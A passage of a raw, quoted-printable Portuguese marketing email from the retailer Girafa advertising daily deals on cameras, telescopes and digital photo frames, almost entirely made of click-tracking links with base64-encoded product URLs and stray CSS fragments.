X2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] SLT-A77 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtc29ueS1hbHBoYS1zbHQtYTc3LWNvcnBvLXByZXRhLTI0M2= 1wLWxjZC0zMC1mdWxsLWhkLWZvdG8tcGFub3JhbWEtM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] DSC-WX60 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDYwLWJyYW5jYS0xNj= ItbXAtbGNkLTI3LTQ4LW1iLWZvdG8tM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Cmera Digital Sony Alpha [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtc29ueS1hbHBoYS1zbHQtYTc3LWNvcnBvLXByZXRhLTI0M2= 1wLWxjZC0zMC1mdWxsLWhkLWZvdG8tcGFub3JhbWEtM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Cmera Cyber-Shot Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx60-branca-162-mp-lcd-27-4= 8-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_03_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 24.3MP * LCD 3.0" * Full HD * Foto Panormica 3D 4.399,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-sony-alpha-slt-a77-corpo-preta-243mp-lcd-30-ful= l-hd-foto-panorama-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-sony-alpha-slt-a77-corpo-preta-243mp-lcd-30-ful= l-hd-foto-panorama-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-sony-alpha-slt-a77-corpo-preta-243mp-lcd-30-ful= l-hd-foto-panorama-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16.2MP * LCD 2.7'' * 8GB * Foto 3D 527,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx60-branca-162-mp-lcd-27-4= 8-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx60-branca-162-mp-lcd-27-4= 8-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDYwLWJyYW5jYS0xNj= ItbXAtbGNkLTI3LTQ4LW1iLWZvdG8tM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS9idC00MDA4MGVxLWJ0NDAwODBlcS5odG0/dXRtX3NvdX= JjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9J= nV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzL= nNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS83MDA2MC1oZC03MDA2MGhkLmh0bT91dG1fc291cmNlPT= AzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] BT40080EQ [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS9idC00MDA4MGVxLWJ0NDAwODBlcS5odG0/dXRtX3NvdX= JjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9J= nV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzL= nNnaS5jb20=3D] 70060HD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS83MDA2MC1oZC03MDA2MGhkLmh0bT91dG1fc291cmNlPT= AzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] Telesc=F3pio Greika [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS9idC00MDA4MGVxLWJ0NDAwODBlcS5odG0/dXRtX3NvdX= JjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9J= nV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzL= nNnaS5jb20=3D] Telesc=F3pio Greika [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/70060-hd-70060hd.htm?utm_source=3D03_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 03_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Equatorial Newtoniano * Distncia Focal 400mm * Objetiva 80mm 703,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/bt-40080eq-bt40080eq.htm?utm_source=3D03_07_1= 3_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_= dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/bt-40080eq-bt40080eq.htm?utm_source=3D03_07_1= 3_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_= dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83865,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/bt-40080eq-bt40080eq.htm?utm_source=3D03_07_1= 3_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_= dia_03_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Azimutal com Distncia Focal de 700mm * Objetiva 60mm 280,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/70060-hd-70060hd.htm?utm_source=3D03_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/B= inoculos-e-telescopios/Greika/70060-hd-70060hd.htm?utm_source=3D03_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 03_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83866,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0Jpbm9jdWx= vcy1lLXRlbGVzY29waW9zL0dyZWlrYS83MDA2MC1oZC03MDA2MGhkLmh0bT91dG1fc291cmNlPT= AzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL1NvbnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLXNvbnktZHBwLWY4MDAtcHJldG8tbG= NkLWltcHJlc3NvcmEtZGUtZm90b3MuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL0NvYnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLWNvYnktbXAzLXdtYS1qcGVnLWJyYW= 5jby1sY2QtNS5odG0/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] DPP-F800 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL1NvbnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLXNvbnktZHBwLWY4MDAtcHJldG8tbG= NkLWltcHJlc3NvcmEtZGUtZm90b3MuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] DP356_BRANCA [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL0NvYnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLWNvYnktbXAzLXdtYS1qcGVnLWJyYW= 5jby1sY2QtNS5odG0/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Porta Retrato Digital Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL1NvbnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLXNvbnktZHBwLWY4MDAtcHJldG8tbG= NkLWltcHJlc3NvcmEtZGUtZm90b3MuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Porta Retrato Digital Coby [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Coby/porta-retrato-digital-coby-mp3-wma-jpeg-branco-lcd-5.htm= ?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_03_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * LCD 8" * Imprime de Fotos 615,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Sony/porta-retrato-digital-sony-dpp-f800-preto-lcd-impressora= -de-fotos.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Sony/porta-retrato-digital-sony-dpp-f800-preto-lcd-impressora= -de-fotos.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83867,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Sony/porta-retrato-digital-sony-dpp-f800-preto-lcd-impressora= -de-fotos.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_03_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * MP3 * WMA * JPEG * LCD 3,5" 183,08 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Coby/porta-retrato-digital-coby-mp3-wma-jpeg-branco-lcd-5.htm= ?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= orta-Retratos/Coby/porta-retrato-digital-coby-mp3-wma-jpeg-branco-lcd-5.htm= ?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_= campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin:0; border: 0;">8x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83868,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1BvcnRhLVJ= ldHJhdG9zL0NvYnkvcG9ydGEtcmV0cmF0by1kaWdpdGFsLWNvYnktbXAzLXdtYS1qcGVnLWJyYW= 5jby1sY2QtNS5odG0/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpd= W09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEz= JnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83869,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU2Ftc3VuZy9jLW1lcmEtZGlnaXRhbC1zYW1zdW5nLW54MjEwLXNtYXJ0LTIwLW= 1wLWxjZC13aS1maS1wcmV0YS5odG0/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJ= nV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlh= XzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83870,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83874,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83875,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= AzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83876,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTAzXzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83877,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTAzXzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83878,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83871,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83879,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83880,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83881,4= bd2115a038a04cf701c38dff390ba97,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83872,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 